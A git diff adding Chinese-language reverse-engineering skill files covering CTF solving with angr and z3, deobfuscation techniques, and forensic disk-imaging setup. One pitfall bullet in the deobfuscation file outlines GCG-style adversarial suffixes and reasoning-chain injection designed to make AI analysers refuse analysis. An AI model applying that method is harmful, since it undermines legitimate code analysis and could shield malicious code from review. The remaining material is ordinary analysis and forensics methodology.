- 输入在长循环 / 深比较链里逐字节校验(human 逐位逆推费时、容易错)→ **[[re-angr]](能力:`symbolic-execution`)** 符号执行(符号化输入 → find 目标地址 → 求解)
|
||||
- 校验是"一组数学等式 / 比较链"(满足约束即 flag)→ **[[re-z3]](能力:`constraint-solving`)** 建模求解(比 angr 轻、快、稳)
|
||||
- 分派细则见「选择树」
|
||||
4. **混淆 → [[re-deobfuscate]](能力:`deobfuscation`)** —— 反编译产物有花指令 / 控制流平坦化 / 字符串加密:**先还原再自动化**。直接对混淆函数上 angr 会路径爆炸 / 解不出(见坑 3);[[re-deobfuscate]](能力:`deobfuscation`) 还原后回到第 2/3 步
|
||||
5. **验证与产出**:
|
||||
- 求解出的输入跑原程序(沙箱内,[[re-analyze/platform-tips]] 最高原则)必须打印 `flag{...}`(见坑 4:flag 格式 / 与求解结果一致性)
|
||||
- 记录:题型、关键函数地址、约束模型、求解脚本、flag、复现命令 —— writeup 与 [[re-ioc]](能力:`threat-intel`) 特征(如自动化解题特征)
|
||||
|
||||
## 何时用哪个原子技能(选择树)
|
||||
|
||||
按题型特征 / 目标分支:
|
||||
|
||||
- **刚拿到题,未定题型** → 第 1 步:[[re-triage]](能力:`triage`) 初勘 + 反编译扫一眼主逻辑,先人工判断(大多数简单题人工即可,别急着自动化)
|
||||
- **简单 XOR / 移位 / 查表变换(≤ 一屏伪代码)** → [[re-binary-core]](能力:`decompilation`、`debugging`、`memory-dump`、`elf-parser`、`pe-parser`、`macho-parser`) 人工还原([[re-ghidra]](能力:`decompilation`、`debugging`) / [[re-radare2]](能力:`decompilation`)),或小规模约束直接 [[re-z3]](能力:`constraint-solving`) 建模
|
||||
- **逐字节 / 逐字符长循环校验(每个字节都要满足条件,人工逆推繁琐)** → [[re-angr]](能力:`symbolic-execution`;符号化输入 + find 校验通过地址)
|
||||
- **"满足一组等式 / 比较链即 flag / 密钥"(无循环或循环已人工展开)** → [[re-z3]](能力:`constraint-solving`;BitVec 建模 + solver 求解)
|
||||
- **输入位置复杂(argv / 文件 / 标准输入 / 网络)** → [[re-angr]](能力:`symbolic-execution`;符号化任意输入点,[[re-z3]](能力:`constraint-solving`) 需人工先定位变量来源)
|
||||
- **花指令 / 平坦化 / 字符串加密可见** → 先 [[re-deobfuscate]](能力:`deobfuscation`) 还原,再按题型走 angr / z3 / 人工(坑 3)
|
||||
- **带壳题**(CTF 少见,常见于"脱壳题")→ 先 [[re-anti-analysis]](能力:`unpack`、`deobfuscation`、`evasion-analysis`;packer-id → unpack-*),脱壳后回本网关
|
||||
- **加密 / 密码学题**(AES / RSA / 自定义加密 + 密文)→ [[re-crypto-id]](能力:`crypto-identification`) 识别 → [[re-crypto-decrypt]](能力:`crypto-decryption`) 还原;自定义数学关系用 [[re-z3]](能力:`constraint-solving`) 求解
|
||||
- **pwn 题** → [[re-pwn]](能力:`exploit-development`;漏洞利用入门:栈溢出 / 格式化字符串 / ret2libc)→ [[re-gdb]](能力:`debugging`) / [[re-radare2]](能力:`decompilation`) + [[re-sandbox]](能力:`sandbox-setup`) 动态调试(本网关以逆向题为主,pwn 作为相邻题型移交调试域)
|
||||
- **flag 解出但格式不对** → 检查大小写 / 换行 / 编码(坑 4)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- **入口调度**:本网关被 [[re-analyze]] 的 triage「CTF 赛题」路径调用(re-ctf → 题型识别 → re-angr / re-z3 / 反混淆 re-deobfuscate → 底座 re-binary-core)
|
||||
- **CTF 题 = 核心技能应用(规格 2.4 联合场景)**:CTF 题本质是核心技能的组合应用 → 简单题 / 反编译工作台直接走 [[re-binary-core]]([[re-triage]] / [[re-ghidra]] / [[re-ida]] / [[re-radare2]]);[[re-binary-core]] 网关亦声明"CTF 逆向题 → 本网关为底座"
|
||||
- **自动化解题**:[[re-angr]](符号执行)、[[re-z3]](约束求解)—— 本网关的两个原子技能,被本网关工作流第 3 步调度;[[re-deobfuscate]] 工作流第 1 步亦产出可被 angr 消费的干净二进制
|
||||
- **混淆对抗**:混淆题先 [[re-deobfuscate]] 还原(其「跨域联合」声明 CTF 反混淆题固定引用本网关)
|
||||
- **加密类题**:[[re-crypto-id]] / [[re-crypto-keys]] / [[re-crypto-decrypt]](算法识别、密钥定位、解密还原);密钥推导用 [[re-z3]] 建模
|
||||
- **序列号类题**:[[re-license]] / [[re-keygen]](校验定位与注册机);比较链硬推用 [[re-z3]]
|
||||
- **pwn / 动态**:[[re-gdb]](调试 / 断点看校验分支)、[[re-radare2]](命令行快攻)、[[re-sandbox]](运行与 flag 验证沙箱,[[re-analyze/platform-tips]] 最高原则)
|
||||
- **产出**:自动化解题脚本特征 / 题型指纹可进 [[re-ioc]] 列表
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **不审题直接上 angr**:现象——简单 XOR 题 / 明文比较题上了符号执行,求解半天或直接无解;原因——题型误判,自动化工具反而引入路径爆炸 / 建模误差;对策——第 1 步先初勘 + 反编译估算复杂度:一屏内能人工还原的题直接 [[re-binary-core]],自动化留给长循环 / 深比较链
|
||||
- **盲目人工逆推长循环**:现象——几百次迭代的逐字节校验,人工逆推中途出错、时间失控;原因——低估了机械化计算的规模;对策——按第 3 步分派:逐字节长循环用 [[re-angr]],等式集合用 [[re-z3]];求解脚本边写边验证(小输入先测)
|
||||
- **混淆未还原就自动化**:现象——angr 直接跑平坦化 / 带花指令的函数,路径爆炸跑不完,或求解出的"输入"跑原程序不通过;原因——混淆使约束模型失真、状态空间膨胀;对策——先 [[re-deobfuscate]] 还原(D-810 / 手动),再符号执行或人工分析;angr 上确认符号化函数反编译清晰再跑(见 [[re-angr]] 坑 1)
|
||||
- **flag 格式 / 边界不一致**:现象——求解出看似正确的输入,程序却输出非 flag 内容或报错;原因——flag 有前缀后缀格式(`flag{...}`)、大小写 / 换行符 / 编码(ASCII 与宽字符)不一致,或输入长度固定需对齐;对策——用 [[re-gdb]] 断在打印处看实际输出;求解脚本按程序期望的输入通道(stdin / argv / 文件)与格式原样重放,沙箱内跑原程序验证
|
||||
- **带壳 / 静态链接漏判**:现象——字符串全乱码、xref 全是壳代码,反编译毫无头绪;原因——题目带壳(脱壳题)或静态链接(无导入表线索);对策——[[re-triage]] 初勘先查壳(熵 / 节名 / EP);带壳走 [[re-anti-analysis]];静态链接题从 main / 入口特征 / 字符串定位逻辑起点([[re-imports]] 的库指纹思路)
|
||||
- **PyInstaller 题:入口脚本无行为 ≠ 解包失败**:现象——解包后 `main.pyc` 只剩 `sys.exit(0)`,题面提示却完全对不上;原因——真实逻辑不在入口脚本:可能藏在 runtime hook、**冻结模块**(`_frozen` 数组,如修改版 `os` 模块)、修改版 Python 运行库(重编译的 python313.dll)、bootloader 前置逻辑或运行时生成的 code object;对策——**竞争假设 + 最小实验**:假设 1=修改的冻结模块、假设 2=bootloader 前置逻辑,先执行成本最低区分度最高的实验(下载官方同版本 DLL 对比);**冻结模块哈希差分**:解析 PE 导出表读 `_frozen` 数组(code/size),marshal.loads 后与官方 29 个冻结模块逐一 SHA-256 对比,把 7MB 运行库压缩到单个 47KB marshal 对象;注意 marshal 格式与字节码**版本强相关**(必须用题目对应 Python 版本,如 3.13.1 的 magic)
|
||||
- **周期 XOR + 已知明文恢复 key**:现象——6 字符 key 周期 XOR 的密文,暴力搜不可打印候选;原因——key 每个槽位被明文覆盖次数不足时解不出;对策——利用天然已知明文(如程序内明文成功消息),`密文 ^ 明文` 得 key 流,**统计每个槽位覆盖次数**(每个槽位 ≥2 次一致才可信);恢复后解密成功消息交叉验证
|
||||
125
vendor-new/rev-skills/.claude/skills/re-deobfuscate/SKILL.md
Normal file
125
vendor-new/rev-skills/.claude/skills/re-deobfuscate/SKILL.md
Normal file
@@ -0,0 +1,125 @@
|
||||
---
|
||||
name: re-deobfuscate
|
||||
description: 反混淆:花指令、控制流平坦化、字符串加密。触发词:反混淆、花指令、控制流平坦化、字符串解密、obfuscation
|
||||
capabilities: [deobfuscation]
|
||||
---
|
||||
|
||||
# 反混淆(花指令 / 控制流平坦化 / 字符串加密)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:反编译产物出现花指令(反汇编碎片、恒等跳转)、控制流平坦化(if/while 全变 switch 分发)、字符串加密(静态只见密文数组);需要还原算法 / 授权逻辑
|
||||
- 用:CTF 反混淆题目;脱壳后仍有代码混淆的样本([[re-anti-analysis]] 工作流第 5 步)
|
||||
- 不用:干净代码(直接 [[re-binary-core]] 分析)
|
||||
- 不用:只需绕过保护、不关心算法(动态 patch / hook 更省,见 [[re-gdb]] / [[re-frida]])
|
||||
- 不用:壳层混淆(那是壳的解压逻辑——先脱壳 [[re-unpack-simple]] / [[re-unpack-advanced]])
|
||||
- 注意:反混淆是迭代过程——还原一层验证一层,先备份原文件
|
||||
|
||||
## 工具准备
|
||||
|
||||
### 反编译产物(还原的工作台)
|
||||
|
||||
- [[re-ghidra]]:`apt install ghidra` / `brew install --cask ghidra`(官方 release zip 也可),验证 `analyzeHeadless -help`;或 [[re-ida]] / [[re-radare2]] 的反编译视图。先产出反编译代码,再针对混淆点处理
|
||||
|
||||
### idapython(批量脚本化)
|
||||
|
||||
- IDA 内置(8.x/9.x 自带 Python 3);命令行无头跑脚本的可执行文件名与用法见 [[re-ida]]
|
||||
- 验证: IDA 内 `File > Script Command` 能执行 Python
|
||||
|
||||
### rizin 脚本(批量 patch / 查询)
|
||||
|
||||
- 安装矩阵见 [[re-radare2]],安装后以 `rizin -v` 验证
|
||||
- Python 驱动用 Rizin 侧绑定 `rzpipe`(`pip install rzpipe`,rizinorg/rz-pipe)
|
||||
|
||||
### D-810(IDA 插件,可选)
|
||||
|
||||
- 原仓 GitLab `eshard/d810`(GitHub 镜像 `zhkl0228/d810`,原仓 README 已 fork 注明)release,复制到 IDA `plugins/` 目录(要求 IDA 7.5+ / Python 3.7+,来源:官方 README)
|
||||
- 功能:控制流平坦化自动还原(Deobfuscate 菜单)
|
||||
- 验证: IDA 菜单出现 D-810 项
|
||||
|
||||
### python3(仿真 / 批量解密)
|
||||
|
||||
- `apt install python3`(多数系统自带);按需 `pip install pefile rzpipe`
|
||||
- 验证: `python3 --version`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记录结果(证据路径 + sha256,见 [[re-triage]])。**修改前先备份原文件**(见坑 1)。
|
||||
|
||||
1. **花指令清除(patch NOP / 跳转修复)**:
|
||||
- 识别特征:恒等跳转(`jz`/`jnz` 下一句即目标)、`call`+`pop` 取址、插入的垃圾指令(`xor eax,eax` 后无意义)、反汇编器误入垃圾字节形成的碎片。
|
||||
- 清除:把垃圾指令 patch 成 NOP,修复被扰乱的跳转目标——
|
||||
- rizin: `wx 90 @ 0x401000`(单字节 NOP);批量用脚本按特征扫描填充
|
||||
- Ghidra: 选中区域右键 Patch Instruction;IDA: `Edit > Patch Program > Assemble`
|
||||
- 修复函数边界:Ghidra 选中范围按 `C` 强制标记代码 / 右键 Create Function;反汇编器漏分析的段手动定义。
|
||||
- 每步 patch 后重新反汇编确认无 "undefined" 指令(见坑 1)。
|
||||
|
||||
2. **控制流平坦化识别与还原(D-810 / 手动)**:
|
||||
- 识别特征:大量基本块收敛到单一 dispatcher(`switch` 分发循环)、状态变量(dispatcher 的索引)在每个块尾部被改写、原 if/while 分支块被拆成小块。
|
||||
- 自动:IDA + D-810 → `Deobfuscate` 菜单 → `Flattened code`,选中平坦化函数一键还原(失败回落手动)。
|
||||
- 手动:先定位 dispatcher 的 switch 变量 → 跟踪其写入点(每块尾部)→ 把各 case 目标按状态变量连接回原始控制流;用 idapython / rizin 脚本导出 dispatcher 的目标表辅助连线。
|
||||
- **状态变量找错是最大风险**(见坑 2)——先用 D-810 自动,手动时先确认变量确实参与 dispatcher 索引。
|
||||
|
||||
3. **字符串解密循环定位与仿真**:
|
||||
- 静态定位:数据节找密文数组(高熵 / 无明文)→ xref 找引用它的函数(或引用 `memcpy`/`strcpy` 前指针)→ 分析解密循环(XOR 单字节 / 多字节 key、查表、逐字节变换)。
|
||||
- 动态读(需沙箱,[[re-analyze/platform-tips]] 最高原则):[[re-gdb]] / [[re-x64dbg]] 断在解密函数返回处,`x/s` 读结果。
|
||||
- 仿真:小循环用 python3 复刻(按逆向出的算法与 key):
|
||||
```python
|
||||
# 例:单字节 XOR 解密
|
||||
key, out = 0x7f, bytearray()
|
||||
for b in open('data.bin','rb').read():
|
||||
out.append(b ^ key)
|
||||
print(out[:64])
|
||||
```
|
||||
- 对比动态与仿真结果,一致后进入批量。
|
||||
|
||||
4. **批量脚本化(解密所有字符串)**:
|
||||
- idapython:遍历引用解密函数的 xref,调用后把结果写入注释 / 输出文件:
|
||||
```python
|
||||
import idaapi, idc
|
||||
# 例:枚举引用 sym_decrypt 的调用点,取参数地址后 idc.get_bytes 解密并打印
|
||||
```
|
||||
- rizin / rzpipe:`rizin -A sample -c 'axt @ sym.decrypt'` 列引用,脚本循环解密,导出 `strings_decrypted.txt` 供 [[re-ioc]] / 人工分析。
|
||||
- 产出:全量解密字符串表(地址 → 明文),存档进分析记录。
|
||||
|
||||
5. **还原前后对比验证**:
|
||||
- `sha256sum` 记录修改前后;`objdump -d` 对比花指令区域字节差异。
|
||||
- 重新反汇编确认无 "undefined"/ 无未定义跳转目标(每步做完即查,别攒到最后)。
|
||||
- 重新反编译目标函数,确认控制流与调用关系合理;沙箱内运行验证行为一致([[re-sandbox]],见 [[re-analyze/platform-tips]] 最高原则)。
|
||||
- 字符串解密结果用运行验证交叉确认(动态解密值 == 脚本仿真值)。
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-anti-analysis]]:工作流第 5 步(反混淆)固定调用本技能(脱壳后仍有混淆)
|
||||
- [[re-analyze]] 的 triage「CTF 赛题」路径:re-ctf → re-deobfuscate(反混淆还原)
|
||||
- [[re-ctf]]:CTF 反混淆题目(花指令 / 平坦化 / 字符串解密)
|
||||
- [[re-binary-core]]:深度静态逻辑分析(还原后的干净产物继续 [[re-ghidra]] / [[re-ida]] 深挖)
|
||||
- 配套:[[re-gdb]] / [[re-x64dbg]](动态读解密结果)、[[re-sandbox]](动态验证沙箱)、[[re-ioc]](解密字符串作为特征来源)、[[re-memdump]](运行时密文在内存时才需要)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **删错指令 → 控制流损坏(先备份)**:现象——patch 后函数无法反编译 / 跳转进垃圾字节 / 运行崩溃;原因——花指令与真实指令混编,误删了有效指令;对策——**patch 前先备份原文件**(sha256 存档),小步 patch + 每步重新反汇编确认无 undefined 指令,损坏时从备份重来
|
||||
- **平坦化状态变量找错 → 错乱**:现象——还原后 if/else 分支全部乱序、逻辑荒谬;原因——把普通数据变量当成了 dispatcher 状态变量;对策——先确认变量确实作为 switch 索引(值域 = 分支数、每块尾部被改写),优先用 D-810 自动还原,手动时跟踪变量生命周期验证
|
||||
- **加密字符串需等运行时(动态解密)**:现象——静态分析找不到明文,甚至找不到解密函数;原因——字符串在运行时才解密(解密循环可能也在混淆代码里);对策——调试器断解密函数动态读取(沙箱内),或先还原解密循环再仿真;冷数据(运行时才解密的常量)配合 [[re-memdump]] 从内存取
|
||||
- **混淆不止一层**:现象——还原完平坦化又发现字符串还是密文,或花指令里套花指令;原因——多层混淆叠加是常见配置;对策——逐层还原、每层跑一遍步骤 5 验证,别试图一步到位
|
||||
- **Opaque predicate(恒真/恒假分支)**:现象——还原后出现大量"看似条件、实际恒定"的分支,patch 后逻辑怪异,符号执行([[re-angr]])在其处卡死 / 路径爆炸;原因——混淆器(VMProtect 系 / Tigress 等)插入永真/永假条件(如 `x*x-x>=0`、奇偶恒等)扩展路径干扰分析;对策——识别后直接确定分支目标(恒真取真支、恒假取假支)批量化简,先消 opaque predicate 再做平坦化还原与符号执行
|
||||
- **反 CFF 七步框架与工具选型(IDA 微码)**:现象——手还原 CFF 凭经验乱试;原因——缺系统化流程;对策——按七步:a. 找 dispatcher(BLT_2WAY 块且前驱最多)b. 找有效块 c. 找状态变量(dispatcher tail 是 jcond 且与常量比较)d. 哪个块对状态变量设值 e. 哪个块入口状态变量等于什么 f. 建立 Block→Block 映射 g. 改控制流;工具对比:IDA 内置值域分析(有短板,非标准 CFF 无法完成 e 步)< D810(MicroCodeInterpreter 模拟执行分发器逻辑,较强,框架值得借鉴)< angr 符号执行(无需显式找状态变量,一把梭但重型);IDA 微码 API:`ida_hexrays` 的 `mblock.npred()/pred()/tail/type`、`mop_r/mop_S/mop_d` 递归取变量
|
||||
- **VM 混淆 vs 平坦化的识别**:现象——把虚拟机混淆当平坦化处理(找状态变量/常量衔接)处处对不上;原因——两种混淆机制不同:平坦化每个基本块末尾有常量衔接另一块,VM 混淆是取字节码+跳转表分发(操作数编码进指令);对策——识别要点:函数头部申请**异常大的栈空间**(VM 的 context/内存,未初始化直接传指针进 VM 函数)、数据段有字节码区与跳转表、入口先取 4 字节拆位域(操作码/寄存器索引);VM 识别后走 VM 还原流程
|
||||
- **VM 还原方法论(字节码 + 跳转表 + 多级 opcode)**:现象——VM 函数反编译看不懂(大量平行基本块 + dispatch);原因——handler 由字节码索引跳转表分发;对策——①定位字节码区(数据段,统计长度/指令宽度求指令数,如 0x2F4/4=189 条)②统计 opcode 频率(高频优先分析)③跳转表 = 基址 + opcode×4,逐 handler 分析④注意**多级 opcode**(op1=47 时再看 op2 决定二级跳转表;opcode 位域宽度要数清,如 6 位 op + 5 位寄存器 = 4 字节指令)⑤梳理真实寄存器角色(虚拟 PC 指针、控制变量、虚拟寄存器数组基址)⑥控制变量机制(跳转/调用/退出通过设置控制变量实现,handler 尾部公共块 + 取指头部都检查它)
|
||||
- **VM 只调外部函数时无需完全还原**:现象——为还原加密算法死磕 VM 全部 handler;原因——VM 里可能只是调用外部加密函数(AES/随机数等),字节级处理在 VM 外;对策——先确认 VM handler 是否只做"取参/调用外部函数/存结果"——是则只还原参数传递与调用序列即可调试出算法内容,不必逐字节还原 VM;但注意同系列算法(tt 系)的签名算法可能把加密做进 VM,此时仍需完整还原
|
||||
- **CFF 误判 → DSVM(领域特定虚拟机)识别**:现象——OLLVM 检测器报告大量 CFF 函数(如 49 个),按平坦化还原却处处对不上;原因——实为借鉴 VMP 架构(跳转表分发 + 字节码解释)但指令集完全领域化的自定义 VM(DSVM,如 UE4 遍历引擎、加固 so);对策——追查异常信号:函数内大量 syscall(OLLVM 只改控制流不引入系统调用)、单函数多调度器(标准 OLLVM 每函数一个分发器);VMP vs DSVM 四维对比:处理器语义(通用 vs 领域特定 98%)、循环结构(单层平面 vs 递归下降解析)、字节码格式(紧凑二进制 vs 文本式魔数+单字节 op)、虚拟栈(有 vs 无);DSVM 是语义级混淆——理解"它在做什么"(对象遍历/协议解析)比"它怎么做的"(操作码分发)更重要
|
||||
- **PAC 序言漏检函数边界**:现象——函数计数/边界分析结果偏少,单个巨型函数里实际藏着多个函数;原因——ARM64 PAC(Pointer Authentication Code)保护函数用非传统序言,只按 `stp x29,x30` 检测会漏;对策——扩展三种序言模式检测,函数数可大增(238→291);PAC/BTI 着陆点反而是函数边界与间接跳转目标的精确标记,利用而非绕过
|
||||
- **跳转表条目验证(防字符串区误判)**:现象——跳转表解析出一堆指向数据/字符串区的"目标";原因——rodata 同时含跳转表(16 位偏移数组)与 C++ demangler 名称表,条目可能指向字符串区;对策——验证每个条目的目标地址在 .text 段内,排除指向字符串区的条目;**静态提取跳转表 + Unicorn 动态验证调度流**(合成字节码输入如 `"gs1a"` 追踪执行路径)动静结合是 VM 还原的必要组合
|
||||
- **间接跳转/调用(BR/BLR X8)去除**:现象——伪代码见 `__asm { BR X8 }` 或 `v278 = v277(...)`(无跳转符号),IDA 控制流图断裂(分支未识别进函数体);原因——OLLVM 间接混淆:目标地址经复杂逻辑运算后存寄存器再跳转,静态无法确定目标;对策——**动态执行取寄存器值**(断点停在 BR/BLR 处读 X8),人工计算目标地址效率太低;拿到目标后 keypatch 统一 patch 成直接跳转(`BR X9` → `B 0x153AF0`);**CSEL 条件分支拆解**:`X8 = (X0>0) ? X8 : X9` 三目表达式逐段计算两个目标,patch 成条件跳转;多条件链(EQ 系列)同理逐个拆
|
||||
- **CSEL 与 BR 之间的真实指令**:现象——patch 掉 CSEL 后控制流错乱/真实指令缺失;原因——CSEL 指令与 BR 指令之间可能存在真实指令,若在 CSEL 与其下一条之间 patch,B 指令后的指令全不执行;对策——patch 位置必须选在 **CSEL 指令与 BR 指令之间**(保留中间真实指令),不是 CSEL 下一条
|
||||
- **AI 时代新对抗面:对抗文本诱导 AI 拒绝分析**:现象——代码扔给 AI(ClaudeCode 等)几秒被扒干净,传统混淆效力下降;原因——LLM 逆向能力太强;对策(防御视角/研究):构造对抗性文本后缀(GCG 类算法:LLM 是离散词表分类器,连续梯度不可直接使用——把梯度当启发式信号,算每个位置替换 Token 对损失函数的贡献,Top-K(如 256)候选 + 前向验证贪心挑选;黑盒场景用近似模型/GA 演化/蒸馏代理)与混淆代码结合,诱导 AI 输出拒绝分析;识别 AI 正在分析的信号并做反制(如识别到推理链后注入混淆引导);注意合规边界(合法保护知识产权代码,不得用于隐藏恶意代码)
|
||||
- **自定义 DSL VM(纯 JS 虚拟机)**:现象——大 JS 文件被当 WASM/常规混淆;原因——自定义解释器循环 + 自定义 opcode;对策——DSL VM 五步:case 提取 → opcode 分类 → 常量表分析 → 函数追踪 → 导出提取;先确认是纯 JS 解释器再决定工具链
|
||||
- **VM 导出函数隐藏**:现象——VM 文件中找不到导出函数名;原因——导出名被指令编码隐藏;对策——从模块注册中心提取真实导出(不通过 VM 文件表面暴露)
|
||||
- **流程就绪 ≠ 会话建立**:现象——接口返回成功但流程没起来;原因——成功只是会话确认;对策——以特定状态码/阶段标志判断流程真正就绪,别拿会话确认当启动
|
||||
(来源:reverse-skill field-journal,MIT)
|
||||
- **Z3 求解状态机转移撞调用边界**:现象——符号执行还原平坦化时,跨调用继续求解得到错误转移;求解器超时/未知时仍照改,控制流错乱;原因——调用会作废寄存器与内存绑定,默认是硬屏障;「不可达路径」与「未解出」被混为一谈;对策——对每个 case 块做有界符号执行、求解块末状态变量值,调用默认屏障,仅显式证明不逃逸的私有状态才允许跨调用保留;失败区分「证明不可达」(可丢弃)与「超时/未知」(fail-closed 不动边);求解器设超时上限,翻译结果与解缓存复用
|
||||
- **自动化改写缺覆盖率门槛**:现象——自动还原平坦化后函数体大面积不可达、反编译错乱;原因——解出的转移边太少就动手改 CFG,且改写不留可回滚痕迹;对策——应用前整体安全检查(源/目标块合法、无自环、终止指令形态与后继数匹配),任一条不满足整体放弃;解出转移边数未达 case 块数下限(如三分之一且不少于 3 条)即拒绝改写;字节级修改走可逆补丁保留原始字节(绝不改输入文件),复杂改写计划在事务边界内应用——先快照、逐步应用、任一步被拒整体回滚
|
||||
- **UNSAT 当恒真/恒假直改**:现象——求解器返回 UNSAT 就断定谓词恒真/恒假直接改边,或被模拟观察到的相反分支反向推翻结论;原因——全称断言的三档证据语义没分清:SAT 模型只说明存在某路径,UNSAT 只能作佐证,能否决全称的只有「具体执行的相反分支观察」(反例);对策——反例须满足资格才有否决权(覆盖全部依赖代码与只读数据、无 trace 截断、无摘要代答、无权限违反、未逃逸镜像);静态证不出恒真时保留间接操作、只记录候选目标;「无法判定」(依赖输入/超时/后端缺能力)一律不动,缺失信息是未知而非负证据
|
||||
- **勘察与变换混在一条通道**:现象——一上来就全库变换、每函数重建缓存微码、拿全库扫描当普通查询,成本失控;原因——勘察通道与变换通道未分离,调用前没按成本/副作用分级;对策——勘察只走只读检测通道(无缓存微码构建、不装变换组件)全库扫候选,只对候选做变换;成本分级——纯查询零成本零副作用、检测类每函数一次无缓存构建但不落缓存、变换类才改字节与 AST(可逆补丁)、全库扫描既贵又写库;显式准入——只有被请求的函数才走变换管线,准入与变换分两步;探索类操作同步有界、单函数,不轮询、不后台线程、不重复全库扫描
|
||||
- **检测标志当成果报告**:现象——报告「检测到 N 处混淆」而实际一个字节未改;重复变换同一函数不生效,或变换后伪代码没变化就以为失败;原因——检测标志只是结构候选,没有匹配的可守卫改写就不产生任何变化;缓存与跟踪未管理,重复变换被幂等拦截却不知情;对策——报告实际处理计数与实际应用的修改,不用检测标志充当成果;迭代循环:检测→(可选)探索取证据→变换→无缓存重反编译→再检测/比对伪代码确认收敛;要重跑必须先清函数级跟踪与证据;失败按返回值处理(数值返 0/-1、字符串返空串),不靠异常捕获;变换前确认自动分析已完成、反编译器可用
|
||||
- **模拟证据越界当全称证据**:现象——模拟引擎观察到相反分支就当反例用,外部调用被摘要代答后仍支撑全称结论,函数已变还拿旧观察说话;原因——模拟证据有边界(单函数有界、运行数有限),摘要代答的语义是宿主模型部分代偿,证据带谱系但消费前未校验;对策——模拟只做单函数有界(镜像快照只作内存上下文),外部调用用摘要代答但标记为探索性、不用于全称证明,未建模目标报告为「环境边界」而非解码故障;每条观察带谱系(库、函数字节哈希、镜像哈希、函数代数、种子),消费前把函数块与 trace 区间逐字节比对当前库,陈旧即弃;动态观察有最小运行数消费门槛(如 2 次不同运行);后端能力缺失报告为未知而非负证据
|
||||
149
vendor-new/rev-skills/.claude/skills/re-disk-forensics/SKILL.md
Normal file
149
vendor-new/rev-skills/.claude/skills/re-disk-forensics/SKILL.md
Normal file
@@ -0,0 +1,149 @@
|
||||
---
|
||||
name: re-disk-forensics
|
||||
description: >
|
||||
磁盘/文件系统取证:删除恢复、时间线、可疑文件定位。
|
||||
触发词:磁盘取证、文件系统、删除恢复、时间线、ext4、NTFS
|
||||
capabilities: [disk-forensics]
|
||||
---
|
||||
|
||||
# 磁盘取证与文件系统分析
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:拿到磁盘镜像(dd / E01)或介质做取证——删除文件恢复、时间线重建、可疑文件/残留数据定位
|
||||
- 用:事件响应需要"介质上发生过什么"(删了什么、什么时候写的、留了什么痕迹)
|
||||
- 用:分区丢失/损坏后的分区表重建与文件抢救(testdisk)
|
||||
- 不用:内存取证(那是 [[re-mem-forensics]],与磁盘取证并列的另一个取证分支)
|
||||
- 不用:普通文件系统挂载使用(那要可写挂载;取证一律只读,见坑 1)
|
||||
- 不用:加密卷且无密钥——先找密钥(见坑 2)
|
||||
|
||||
## 工具准备
|
||||
|
||||
取证铁律:**只读**。本技能所有工具只读镜像文件、不挂载可写、不在原介质上写任何东西(见坑 1)。镜像获取与可疑对象提取的结果按 sha256 + 路径存档(取证要求可追溯,见 [[re-analyze/platform-tips]])。
|
||||
|
||||
### sleuthkit —— 取证分析主力(fls/icat/tsk_recover/mmls/fsstat/blkls)
|
||||
|
||||
- Debian/Ubuntu: `apt install sleuthkit`
|
||||
- Fedora: `dnf install sleuthkit`
|
||||
- Arch: `pacman -S sleuthkit`(extra 仓库)
|
||||
- macOS: `brew install sleuthkit`
|
||||
- Windows: WSL 内 Linux 版优先(见 [[re-analyze/platform-tips]] WSL 分支);GUI 用 Autopsy(`winget install SleuthKit.Autopsy`,内置 sleuthkit 工具)
|
||||
- 验证: `fls -h`;`mmls -h`;`tsk_recover -h`;`mactime -h`
|
||||
|
||||
### testdisk / photorec —— 分区修复与文件雕刻(cgsecurity)
|
||||
|
||||
- Debian/Ubuntu: `apt install testdisk`(photorec 在同一包内,官方文档确认无独立包)
|
||||
- Fedora: `dnf install testdisk`(photorec CLI 随包;GUI 版独立包 `qphotorec`)
|
||||
- Arch: `pacman -S testdisk`(extra,photorec 随包)
|
||||
- openSUSE: `zypper install testdisk photorec`(该发行版 photorec 为独立包)
|
||||
- macOS: `brew install testdisk`
|
||||
- Windows: WSL 内 Linux 版(chocolatey 上 testdisk 包极旧,不推荐)
|
||||
- 验证: `testdisk /?`;`photorec /?`
|
||||
|
||||
### dd / ewf-tools —— 镜像获取
|
||||
|
||||
- dd: coreutils 自带(Linux/macOS/WSL 均可用)
|
||||
- ewf-tools(E01 证据格式,带校验块): Debian/Ubuntu `apt install ewf-tools` / Fedora `dnf install ewf-tools` / Arch `pacman -S ewf-tools`;验证: `ewfacquire -V`
|
||||
- Windows: 只读镜像工具 FTK Imager(GUI,exterro 官网免费版)或 WSL 内 Linux 版
|
||||
|
||||
### 只读挂载 —— loop + ro(需要直接读文件内容时)
|
||||
|
||||
- mount 内置(util-linux);NTFS 需 ntfs-3g: Debian/Ubuntu `apt install ntfs-3g` / Fedora `dnf install ntfs-3g` / Arch `pacman -S ntfs-3g`
|
||||
- 验证: `mount -o ro,loop,noload ...` 后 `findmnt` 输出包含 `ro`
|
||||
|
||||
### autopsy —— 可选 GUI(团队/可视化)
|
||||
|
||||
- Debian/Ubuntu: `apt install autopsy`;Fedora: `dnf install autopsy`;Arch: `pacman -S autopsy`(AUR 或 extra);Windows: `winget install SleuthKit.Autopsy`;macOS: `brew install --cask autopsy`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步产物(镜像/提取文件/时间线)存档 sha256 + 路径(供 [[re-ioc]] 报告引用)。
|
||||
|
||||
1. **只读镜像获取(先存证后动手)**:
|
||||
```sh
|
||||
sha256sum /dev/sdX > evidence.sha256 # 原始介质哈希存证(分析前后复核)
|
||||
dd if=/dev/sdX of=evidence.dd bs=4M conv=noerror,sync status=progress
|
||||
sha256sum evidence.dd >> evidence.sha256 # 镜像哈希复核,与源哈希一致才继续
|
||||
```
|
||||
- 物理盘优先用写保护器(USB write-blocker);软件写保护 `blockdev --setro /dev/sdX`
|
||||
- 分区镜像: `dd if=/dev/sdX1 ...` 只镜像目标分区;整盘镜像保留分区表与未分配空间(未分配空间常含残留证据,见步骤 5)
|
||||
- 证据格式: raw dd 最通用;长期保存用 E01(`ewfacquire /dev/sdX`,内置校验与压缩)
|
||||
- 已有多份镜像(事件响应常用方案)时直接进入步骤 2,别重复取
|
||||
